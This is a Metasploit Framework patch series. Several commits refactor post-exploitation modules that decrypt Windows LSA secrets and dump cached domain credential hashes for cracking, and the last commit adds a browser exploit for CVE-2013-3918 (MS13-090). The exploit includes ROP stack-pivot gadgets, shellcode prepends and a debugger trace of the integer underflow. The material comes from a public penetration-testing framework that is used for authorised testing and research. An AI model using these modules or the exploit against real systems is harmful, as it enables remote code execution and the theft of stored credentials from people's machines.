| 2 +- spec/lib/msf/core/post/windows/priv_spec.rb | 60 +++++++++++++++++-- 3 files changed, 75 insertions(+), 27 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index c19045076f..6bd10bad65 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -164,23 +164,6 @@ module Msf::Post::Windows::Priv if pol print_status("XP or below client") @vista = 0 - else - vprint_status("Trying 'V72' style...") - vprint_status("Getting PolEKList...") - pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "") - print_status("Vista or above client") - @vista = 1 - end - # If that didn't work, then we're out of luck - return nil if pol.nil? - - vprint_good("Pol: #{pol.unpack("H*")[0]}") - - if @vista == 1 - lsakey = decrypt_lsa_data(pol, bootkey) - lsakey = lsakey[68,32] - vprint_good(lsakey.unpack("H*")[0]) - else md5x = Digest::MD5.new() md5x << bootkey (1..1000).each do @@ -189,11 +172,26 @@ module Msf::Post::Windows::Priv rc4 = OpenSSL::Cipher::Cipher.new("rc4") rc4.key = md5x.digest - lsakey = rc4.update(pol[12,48]) - lsakey << rc4.final - lsakey = lsakey[0x10..0x1F] + lsa_key = rc4.update(pol[12,48]) + lsa_key << rc4.final + lsa_key = lsa_key[0x10..0x1F] + else + print_status("Vista or above client") + @vista = 1 + + vprint_status("Trying 'V72' style...") + vprint_status("Getting PolEKList...") + pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "") + + # If that didn't work, then we're out of luck + return nil if pol.nil? + + lsa_key = decrypt_lsa_data(pol, bootkey) + lsa_key = lsa_key[68,32] end - return lsakey + + vprint_good(lsa_key.unpack("H*")[0]) + return lsa_key end # Decrypts the LSA encrypted data diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index 2042730817..b512b63abb 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Post end - # Decrypted LSA key is passed into this function + # Decrypted LSA key is passed into this method def get_secret(lsa_key) output = "\n" diff --git a/spec/lib/msf/core/post/windows/priv_spec.rb b/spec/lib/msf/core/post/windows/priv_spec.rb index 9cfb6ebc9f..e30971ff10 100644 --- a/spec/lib/msf/core/post/windows/priv_spec.rb +++ b/spec/lib/msf/core/post/windows/priv_spec.rb @@ -8,11 +8,18 @@ describe Msf::Post::Windows::Priv do subject do mod = Module.new mod.extend described_class - mod.stub :vprint_status - mod.stub :print_status + stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, ] + stubs.each { |meth| mod.stub(meth) } mod end + let(:boot_key_vista) do + "\x50\xfb\xae\x5f\x5c\xd7\x70\x39\x54\xe5\x50\x48\x32\x1b\x81\x8d" + end + let(:boot_key_xp) do + "\x27\x18\x0a\x2e\xe0\xfb\x98\x52\x77\x06\x24\x8e\x21\x80\xf4\x56" + end + # For Vista and newer describe "#decrypt_lsa_data" do let(:ciphertext) do @@ -53,9 +60,7 @@ describe Msf::Post::Windows::Priv do "\x22\xea\xc4\xd8\xfc\x5d\x36\xf4\x2e\x8b\xd3\x0f\x5d\xbc\xc4\x3a" + "\x37\x4b\x84\xea\xa0\xc0\x96\x61" end - let(:boot_key) do - "\x27\x18\x0a\x2e\xe0\xfb\x98\x52\x77\x06\x24\x8e\x21\x80\xf4\x56" - end + let(:boot_key) { boot_key_xp } let(:plaintext) do # Unicode "msfadmin" "\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00" @@ -66,4 +71,49 @@ describe Msf::Post::Windows::Priv do end end + + describe "#capture_lsa_key" do + let(:pol_enc_key_vista) do + "\x00\x00\x00\x01\xec\xff\xe1\x7b\x2a\x99\x74\x40\xaa\x93\x9a\xdb"+ + "\xff\x26\xf1\xfc\x03\x00\x00\x00\x00\x00\x00\x00\x67\xe0\x47\xa1"+ + "\xb9\xea\x6c\xa4\x1b\xf7\x95\x75\x69\xdf\x87\x6b\x66\x99\x99\x56"+ + "\x1f\xe4\x0a\xbd\xf3\x08\xd1\x72\x62\x54\xb7\xe8\xfb\x13\x15\x69"+ + "\x88\xe0\x71\xbd\xd0\xab\x54\x66\x4c\x7c\x33\xb7\xfc\x16\x23\xa5"+ + "\x94\xd2\xe3\x5d\xbe\x1a\x6c\x2f\xaf\xb0\xfa\x16\x02\x69\x3e\x05"+ + "\xce\x3e\xf2\x9f\xa5\xd8\xb9\x18\x6e\x8a\x03\x7e\x8f\x2f\x56\x5d"+ + "\xf4\x65\xee\xc9\x84\x52\x48\x9f\x5a\x6f\xb8\x17\x78\x28\x09\x40"+ + "\xc1\x7c\xdf\x46\x65\x7d\x94\xe5\x79\x17\xb9\x40\x7a\xc7\x35\x3a"+ + "\x7d\x39\x9f\x65\x91\x7f\x26\x51\xaf\x57\x03\x2f\x81\xe5\xcd\x5f"+ + "\xfc\x21\xe3\xf5\xd1\xd6\xed\xd1\x60\x6e\xc9\x15" + end + let(:pol_enc_key_xp) do + "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x26\x07\x4d\x67"+ + "\x85\x3f\x55\x36\x6f\x89\x8d\x6f\x9f\x78\x20\xbd\xc9\xed\x66\x96"+ + "\x28\x49\x1f\x45\x65\x7c\xb9\xe1\x65\x2d\xec\x8d\x54\xe9\xdf\x27"+ + "\xc4\xfd\x38\xf4\x8d\x5d\xc0\xcb\xa3\x8d\xef\xcb\xeb\x46\x32\x23"+ + "\xb8\x86\x95\x2c\x79\xee\x6f\x89\x61\x8b\x89\x14" + end + + context "with an XP or older registry" do + let(:pol_enc_key) { pol_enc_key_xp } + let(:boot_key) { boot_key_xp } + + it "should produce expected LSA key" do + subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(pol_enc_key_xp) + subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(nil) + subject.capture_lsa_key(boot_key_xp) + end + end + + context "with a Vista or newer registry" do + let(:pol_enc_key) { pol_enc_key_vista } + let(:boot_key) { boot_key_vista } + + it "should produce expected LSA key" do + subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(nil) + subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(pol_enc_key_vista) + subject.capture_lsa_key(boot_key) + end + end + end end From 8bb72764ec495c9a00b0f02027fbdfe9450a5436 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 13 Nov 2013 15:23:15 -0600 Subject: [PATCH 024/217] Rename credentials/lsa -> lsa_secrets Secrets are not necessarily credentials --- .../post/windows/gather/{credentials/lsa.rb => lsa_secrets.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/post/windows/gather/{credentials/lsa.rb => lsa_secrets.rb} (100%) diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/lsa_secrets.rb similarity index 100% rename from modules/post/windows/gather/credentials/lsa.rb rename to modules/post/windows/gather/lsa_secrets.rb From 8471f74b75634b7986fdd791cbfa6fa5ae92f138 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 13 Nov 2013 18:08:02 -0600 Subject: [PATCH 025/217] Refactor ivar to a more reasonable method Also changes jtr output for cachedump to produce hashes that can be auto-detected as mscash2 format for a better user experience. --- lib/msf/core/post/windows/priv.rb | 42 ++++++--- modules/post/windows/gather/cachedump.rb | 100 ++++++++++----------- modules/post/windows/gather/lsa_secrets.rb | 2 +- 3 files changed, 78 insertions(+), 66 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 6bd10bad65..0914e75aed 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -158,12 +158,14 @@ module Msf::Post::Windows::Priv # # Returns the LSA key upon input of the unscrambled bootkey # + # @note This requires the session be running as SYSTEM + # def capture_lsa_key(bootkey) vprint_status("Getting PolSecretEncryptionKey...") pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "") if pol - print_status("XP or below client") - @vista = 0 + print_status("XP or below system") + @lsa_vista_style = false md5x = Digest::MD5.new() md5x << bootkey (1..1000).each do @@ -176,8 +178,8 @@ module Msf::Post::Windows::Priv lsa_key << rc4.final lsa_key = lsa_key[0x10..0x1F] else - print_status("Vista or above client") - @vista = 1 + print_status("Vista or above system") + @lsa_vista_style = true vprint_status("Trying 'V72' style...") vprint_status("Getting PolEKList...") @@ -194,17 +196,30 @@ module Msf::Post::Windows::Priv return lsa_key end - # Decrypts the LSA encrypted data + # Whether this system has Vista-style secret keys # - # @param pol [String] The policy key stored in the registry - # @param encrypted_key [String] + # @return [Boolean] True if this session has keys in the PolEKList + # registry key, false otherwise. + def lsa_vista_style? + if @lsa_vista_style.nil? + @lsa_vista_style = !!(registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "")) + end + + @lsa_vista_style + end + + # Decrypts LSA encrypted data + # + # @param policy_secret [String] The encrypted data stored in the + # registry. + # @param lsa_key [String] The key as returned by {#capture_lsa_key} # @return [String] The decrypted data - def decrypt_lsa_data(pol, encrypted_key) + def decrypt_lsa_data(policy_secret, lsa_key) sha256x = Digest::SHA256.new() - sha256x << encrypted_key - (1..1000).each do - sha256x << pol[28,32] + sha256x << lsa_key + 1000.times do + sha256x << policy_secret[28,32] end aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc") @@ -214,11 +229,10 @@ module Msf::Post::Windows::Priv decrypted_data = '' - for i in (60...pol.length).step(16) + (60...policy_secret.length).step(16) do |i| aes.decrypt aes.padding = 0 - xx = aes.update(pol[i...i+16]) - decrypted_data << xx + decrypted_data << aes.update(policy_secret[i,16]) end return decrypted_data diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index f53159a6cc..60dd9b3bef 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -41,29 +41,19 @@ class Metasploit3 < Msf::Post def check_gpo - begin - winlogonkey = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", KEY_READ) - gposetting = winlogonkey.query_value('CachedLogonsCount').data - print_status("Cached Credentials Setting: #{gposetting.to_s} - (Max is 50 and 0 disables, and 10 is default)") - #ValueName: CachedLogonsCount - #Data Type: REG_SZ - #Values: 0 - 50 - rescue ::Exception => e - print_error("Cache setting not found...") - end + gposetting = registry_getvaldata("HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount") + print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)") end def capture_nlkm(lsakey) - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", KEY_READ) - nlkm = ok.query_value("").data - ok.close + nlkm = registry_getvaldata("HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", "") print_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] ) - if( @vista == 1 ) - nlkm_dec = decrypt_lsa_data( nlkm[0..-1], lsakey) + if lsa_vista_style? + nlkm_dec = decrypt_lsa_data(nlkm, lsakey) else - nlkm_dec = decrypt_secret_data( nlkm[0xC..-1], lsakey) + nlkm_dec = decrypt_secret_data(nlkm[0xC..-1], lsakey) end return nlkm_dec @@ -72,10 +62,10 @@ class Metasploit3 < Msf::Post def parse_decrypted_cache(dec_data, s) i = 0 - hash = dec_data[i...i+0x10] - i+=72 + hash = dec_data[i,0x10] + i += 72 - username = dec_data[i...i+(s.userNameLength)].split("\x00\x00").first.gsub("\x00", '') + username = dec_data[i,s.userNameLength].split("\x00\x00").first.gsub("\x00", '') i+=s.userNameLength i+=2 * ( ( s.userNameLength / 2 ) % 2 ) @@ -85,60 +75,60 @@ class Metasploit3 < Msf::Post last = Time.at(s.lastAccess) vprint_good "Last login\t\t: #{last.strftime("%F %T")} " - domain = dec_data[i...i+s.domainNameLength+1] + domain = dec_data[i,s.domainNameLength+1] i+=s.domainNameLength if( s.dnsDomainNameLength != 0) - dnsDomainName = dec_data[i...i+s.dnsDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '') + dnsDomainName = dec_data[i,s.dnsDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '') i+=s.dnsDomainNameLength i+=2 * ( ( s.dnsDomainNameLength / 2 ) % 2 ) vprint_good "DNS Domain Name\t: #{dnsDomainName}" end if( s.upnLength != 0) - upn = dec_data[i...i+s.upnLength+1].split("\x00\x00").first.gsub("\x00", '') + upn = dec_data[i,s.upnLength+1].split("\x00\x00").first.gsub("\x00", '') i+=s.upnLength i+=2 * ( ( s.upnLength / 2 ) % 2 ) vprint_good "UPN\t\t\t: #{upn}" end if( s.effectiveNameLength != 0 ) - effectiveName = dec_data[i...i+s.effectiveNameLength+1].split("\x00\x00").first.gsub("\x00", '') + effectiveName = dec_data[i,s.effectiveNameLength+1].split("\x00\x00").first.gsub("\x00", '') i+=s.effectiveNameLength i+=2 * ( ( s.effectiveNameLength / 2 ) % 2 ) vprint_good "Effective Name\t: #{effectiveName}" end if( s.fullNameLength != 0 ) - fullName = dec_data[i...i+s.fullNameLength+1].split("\x00\x00").first.gsub("\x00", '') + fullName = dec_data[i,s.fullNameLength+1].split("\x00\x00").first.gsub("\x00", '') i+=s.fullNameLength i+=2 * ( ( s.fullNameLength / 2 ) % 2 ) vprint_good "Full Name\t\t: #{fullName}" end if( s.logonScriptLength != 0 ) - logonScript = dec_data[i...i+s.logonScriptLength+1].split("\x00\x00").first.gsub("\x00", '') + logonScript = dec_data[i,s.logonScriptLength+1].split("\x00\x00").first.gsub("\x00", '') i+=s.logonScriptLength i+=2 * ( ( s.logonScriptLength / 2 ) % 2 ) vprint_good "Logon Script\t\t: #{logonScript}" end if( s.profilePathLength != 0 ) - profilePath = dec_data[i...i+s.profilePathLength+1].split("\x00\x00").first.gsub("\x00", '') + profilePath = dec_data[i,s.profilePathLength+1].split("\x00\x00").first.gsub("\x00", '') i+=s.profilePathLength i+=2 * ( ( s.profilePathLength / 2 ) % 2 ) vprint_good "Profile Path\t\t: #{profilePath}" end if( s.homeDirectoryLength != 0 ) - homeDirectory = dec_data[i...i+s.homeDirectoryLength+1].split("\x00\x00").first.gsub("\x00", '') + homeDirectory = dec_data[i,s.homeDirectoryLength+1].split("\x00\x00").first.gsub("\x00", '') i+=s.homeDirectoryLength i+=2 * ( ( s.homeDirectoryLength / 2 ) % 2 ) vprint_good "Home Directory\t\t: #{homeDirectory}" end if( s.homeDirectoryDriveLength != 0 ) - homeDirectoryDrive = dec_data[i...i+s.homeDirectoryDriveLength+1].split("\x00\x00").first.gsub("\x00", '') + homeDirectoryDrive = dec_data[i,s.homeDirectoryDriveLength+1].split("\x00\x00").first.gsub("\x00", '') i+=s.homeDirectoryDriveLength i+=2 * ( ( s.homeDirectoryDriveLength / 2 ) % 2 ) vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}" @@ -150,9 +140,9 @@ class Metasploit3 < Msf::Post relativeId = [] while (s.groupCount > 0) do # Todo: parse attributes - relativeId << dec_data[i...i+4].unpack("V")[0] + relativeId << dec_data[i,4].unpack("V")[0] i+=4 - attributes = dec_data[i...i+4].unpack("V")[0] + attributes = dec_data[i,4].unpack("V")[0] i+=4 s.groupCount-=1 end @@ -160,7 +150,7 @@ class Metasploit3 < Msf::Post vprint_good "Additional groups\t: #{relativeId.join ' '}" if( s.logonDomainNameLength != 0 ) - logonDomainName = dec_data[i...i+s.logonDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '') + logonDomainName = dec_data[i,s.logonDomainNameLength+1].split("\x00\x00").first.gsub("\x00", '') i+=s.logonDomainNameLength i+=2 * ( ( s.logonDomainNameLength / 2 ) % 2 ) vprint_good "Logon domain name\t: #{logonDomainName}" @@ -185,7 +175,12 @@ class Metasploit3 < Msf::Post ] vprint_good "----------------------------------------------------------------------" - return "#{username.downcase}:#{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n" + if lsa_vista_style? + return "#{username.downcase}:$DCC2$##{username.downcase}##{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n" + else + return "#{username.downcase}:#{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n" + end + end def parse_cache_entry(cache_data) @@ -258,10 +253,10 @@ class Metasploit3 < Msf::Post rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('md5'), nlkm, ch) rc4 = OpenSSL::Cipher::Cipher.new("rc4") rc4.key = rc4key - dec = rc4.update(edata) - dec << rc4.final + decrypted = rc4.update(edata) + decrypted << rc4.final - return dec + return decrypted end def decrypt_hash_vista(edata, nlkm, ch) @@ -271,13 +266,12 @@ class Metasploit3 < Msf::Post aes.decrypt aes.iv = ch - jj = "" - for i in (0...edata.length).step(16) - xx = aes.update(edata[i...i+16]) - jj += xx + decrypted = "" + (0...edata.length).step(16) do |i| + decrypted << aes.update(edata[i,16]) end - return jj + return decrypted end @@ -304,14 +298,14 @@ class Metasploit3 < Msf::Post ]) begin - print_status("Executing module against #{session.sys.config.sysinfo['Computer']}") + print_status("Executing module against #{sysinfo['Computer']}") client.railgun.netapi32() if client.railgun.netapi32.NetGetJoinInformation(nil,4,4)["BufferType"] != 3 print_error("System is not joined to a domain, exiting..") return end - #Check policy setting for cached creds + # Check policy setting for cached creds check_gpo print_status('Obtaining boot key...') @@ -320,6 +314,11 @@ class Metasploit3 < Msf::Post print_status('Obtaining Lsa key...') lsakey = capture_lsa_key(bootkey) + if lsakey.nil? + print_error("Could not retrieve LSA key. Are you SYSTEM?") + return + end + print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") if( datastore['DEBUG'] ) print_status("Obtaining LK$KM...") @@ -349,7 +348,7 @@ class Metasploit3 < Msf::Post print_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}") if( datastore['DEBUG'] ) print_status("Ch: #{cache.ch.unpack("H*")[0]}") if( datastore['DEBUG'] ) - if( @vista == 1 ) + if lsa_vista_style? dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch) else dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch) @@ -357,28 +356,27 @@ class Metasploit3 < Msf::Post print_status("Decrypted data: #{dec_data.unpack("H*")[0]}") if( datastore['DEBUG'] ) - john += parse_decrypted_cache(dec_data, cache) + john << parse_decrypted_cache(dec_data, cache) end end - print_status("John the Ripper format:") - - john.split("\n").each do |pass| - print "#{pass}\n" - end - - if( @vista == 1 ) + if lsa_vista_style? print_status("Hash are in MSCACHE_VISTA format. (mscash2)") p = store_loot("mscache2.creds", "text/csv", session, @credentials.to_csv, "mscache2_credentials.txt", "MSCACHE v2 Credentials") print_status("MSCACHE v2 saved in: #{p}") + john = "# mscash2\n" + john else print_status("Hash are in MSCACHE format. (mscash)") p = store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, "mscache_credentials.txt", "MSCACHE v1 Credentials") print_status("MSCACHE v1 saved in: #{p}") + john = "# mscash\n" + john end + print_status("John the Ripper format:") + print_line john + rescue ::Interrupt raise $! rescue ::Rex::Post::Meterpreter::RequestError => e diff --git a/modules/post/windows/gather/lsa_secrets.rb b/modules/post/windows/gather/lsa_secrets.rb index b512b63abb..6bfcb67962 100644 --- a/modules/post/windows/gather/lsa_secrets.rb +++ b/modules/post/windows/gather/lsa_secrets.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Post val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys encrypted_secret = registry_getvaldata(val_key, "") - if @vista == 1 + if lsa_vista_style? # Magic happens here decrypted = decrypt_lsa_data(encrypted_secret, lsa_key) else From cb10b4783b0dc3f954759329534cc7783b30c68d Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 13 Nov 2013 19:04:16 -0600 Subject: [PATCH 026/217] Mark XP hashes as mscash for JtR to recognize --- modules/post/windows/gather/cachedump.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index bd3b928797..b99895a3ef 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -1,5 +1,3 @@ -# post/windows/gather/cachedump.rb - ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -176,7 +174,7 @@ class Metasploit3 < Msf::Post if lsa_vista_style? return "#{username.downcase}:$DCC2$##{username.downcase}##{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n" else - return "#{username.downcase}:#{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n" + return "#{username.downcase}:M$#{username.downcase}##{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n" end end From 5b96ad595ff3f8e0335d2dd44476a581c8e88f1b Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 13 Nov 2013 19:05:16 -0600 Subject: [PATCH 027/217] Skip reg values with no secretes Also update header comment to match new standard --- modules/post/windows/gather/lsa_secrets.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/lsa_secrets.rb b/modules/post/windows/gather/lsa_secrets.rb index 6bfcb67962..af1252d1e3 100644 --- a/modules/post/windows/gather/lsa_secrets.rb +++ b/modules/post/windows/gather/lsa_secrets.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -54,6 +52,8 @@ class Metasploit3 < Msf::Post val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys encrypted_secret = registry_getvaldata(val_key, "") + next unless encrypted_secret + if lsa_vista_style? # Magic happens here decrypted = decrypt_lsa_data(encrypted_secret, lsa_key) From cbb7eb192cbcffccf0005b8f10df1f018df9e778 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Nov 2013 10:38:52 -0600 Subject: [PATCH 028/217] Add module for CVE-2013-3918 --- .../browser/ms13_090_cardspacesigninhelper.rb | 380 ++++++++++++++++++ 1 file changed, 380 insertions(+) create mode 100644 modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb new file mode 100644 index 0000000000..e800c4120d --- /dev/null +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -0,0 +1,380 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-090 CardSpaceClaimCollection ActiveX Integer Underflow", + 'Description' => %q{ + This module exploits a vulnerability on the CardSpaceClaimCollection class from the + icardie.dll ActiveX control. The vulnerability exists while the handling of the + CardSpaceClaimCollection object. CardSpaceClaimCollections stores a collection of + elements on a SafeArray and keeps a size field, counting the number of elements on the + collection. By calling the remove() method on an empty CardSpaceClaimCollection it is + possible to underflow the length field, storing a negative integer. Later, a call to + the add() method will use the corrupted length field to compute the address where write + into the SafeArray data, allowing to corrupt memory with a pointer to controlled contents. + This module achieves code execution by using VBScript as discovered in the wild on + November 2013 to (1) create an array of html OBJECT elements, (2) create holes, (3) create + a CardSpaceClaimCollection whose SafeArray data will reuse one of the holes, (4) corrupt + one of the legit OBJECT elements with the described integer overflow and (5) achieve code + execution by forcing the use of the corrupted OBJECT. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability Discovery and exploit in the wild + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-3918'], + [ 'OSVDB', '99555' ], + [ 'BID', '63631' ], + [ 'MSB', 'MS13-090' ], + [ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/11/11/activex-control-issue-being-addressed-in-update-tuesday.aspx' ] + ], + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true, + 'BadChars' => "\x00", + # Patch the stack to execute the decoder... + 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff", # add esp, -500 + # Fix the stack again, this time better :), before the payload + # is executed. + 'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] + "\x83\xC0\x08" + # add eax, byte 8 + "\x8b\x20" + # mov esp, [eax] + "\x81\xC4\x30\xF8\xFF\xFF", # add esp, -2000 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :clsid => "{19916E01-B44E-4E31-94A4-4696DF46157B}", + :method => "requiredClaims", + :os_name => Msf::OperatingSystems::WINDOWS + }, + 'Targets' => + [ + [ 'Windows XP with IE 8', + { + 'os_flavor' => Msf::OperatingSystems::WindowsVersions::XP, + 'ua_name' => Msf::HttpClients::IE, + 'ua_ver' => '8.0', + 'arch' => ARCH_X86 + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Nov 08 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class + ) + end + + def exploit_template(cli, target_info) + stack_pivot = [ + 0x77c20433, # pop ebp, ret # eax points here + 0x77c15ed5 # xchg eax, esp # eip + ].pack("V*") + + symbols = { + "CardSpaceSigninHelper" => rand_text_alpha(5 + rand(5)), + "get_code" => rand_text_alpha(5 + rand(5)), + "code" => rand_text_alpha(5 + rand(5)), + "massage_array" => rand_text_alpha(5 + rand(5)), + "required_claims" => rand_text_alpha(5 + rand(5)), + "massage_array" => rand_text_alpha(5 + rand(5)), + "massage_array_length" => rand_text_alpha(5 + rand(5)), + "zero" => rand_text_alpha(5 + rand(5)), + "underflow" => rand_text_alpha(5 + rand(5)), + "my_code" => rand_text_alpha(5 + rand(5)) + } + + rop_payload = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp', 'pivot' => stack_pivot}) + js_payload = Rex::Text.to_unescape(rop_payload) + + html_template = %Q| + + + + + | + + return html_template, binding() + end + + def on_request_exploit(cli, request, target_info) + print_status("Sending HTML...") + send_exploit_html(cli, exploit_template(cli, target_info)) + end + +end + +=begin +The CCardSpaceClaimCollection is abused. It is a 0x10 size object whose memory is allocated at: + +.text:0040A6E8 and dword ptr [edi], 0 +.text:0040A6EB push ebx +.text:0040A6EC push esi +.text:0040A6ED push 10h ; unsigned int +.text:0040A6EF mov ebx, 8007000Eh +.text:0040A6F4 call ??2@YAPAXI@Z ; operator new(uint) + +The interesting fields: + +0x0 : vftable +0x4 : unknown +0x8 : number of elements on the collection (size) +0xc : pointer to the CCardSpaceClaimCollection elements stored on a SafeArray +(http://msdn.microsoft.com/en-us/library/windows/desktop/ms221482(v=vs.85).aspx) + +Both three fields are initialized to 0 / NULL when creating an instance of the object: + +.text:00409980 ; public: __thiscall CCardSpaceClaimCollection::CCardSpaceClaimCollection(void) +.text:00409980 xor ecx, ecx +.text:00409982 mov [eax+4], ecx +.text:00409985 mov [eax+8], ecx +.text:00409988 mov [eax+0Ch], ecx +.text:0040998B retn + +(1) The first problem happens on CCardSpaceClaimCollection::remove, since it's possible to remove an element +from a 0 length collection, underflowing the length field: + +.text:00409D46 loc_409D46: ; CODE XREF: CCardSpaceClaimCollection::remove(tagVARIANT *)+85j +.text:00409D46 dec dword ptr [esi+8] ; esi pointing to the CCardSpaceClaimCollection + +Debugging the underflow: + +0:017> bu icardie!CCardSpaceClaimCollection::remove+0xa0 +0:017> g +ModLoad: 033b0000 033c2000 C:\WINDOWS\system32\icardie.dll +ModLoad: 63380000 63434000 C:\WINDOWS\system32\jscript.dll +ModLoad: 034e0000 0354a000 C:\WINDOWS\system32\vbscript.dll +Breakpoint 0 hit +eax=03672280 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=00000000 +eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 +icardie!CCardSpaceClaimCollection::remove+0xa0: +033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=00000000 +0:008> g +Breakpoint 0 hit +eax=0367227c ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=ffffffff +eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 +icardie!CCardSpaceClaimCollection::remove+0xa0: +033b9d46 ff4e08 dec dword ptr [esi+8] ds:0023:0035da48=ffffffff +0:008> g +Breakpoint 0 hit +eax=03672278 ebx=0022012c ecx=00000000 edx=00000000 esi=0035da40 edi=fffffffe +eip=033b9d46 esp=0201f3e4 ebp=0201f3f8 iopl=0 nv up ei pl nz ac pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 +icardie!CCardSpaceClaimCollection::remove+0xa0: +033b9d46 ff4e08 dec dword ptr [esi+8] 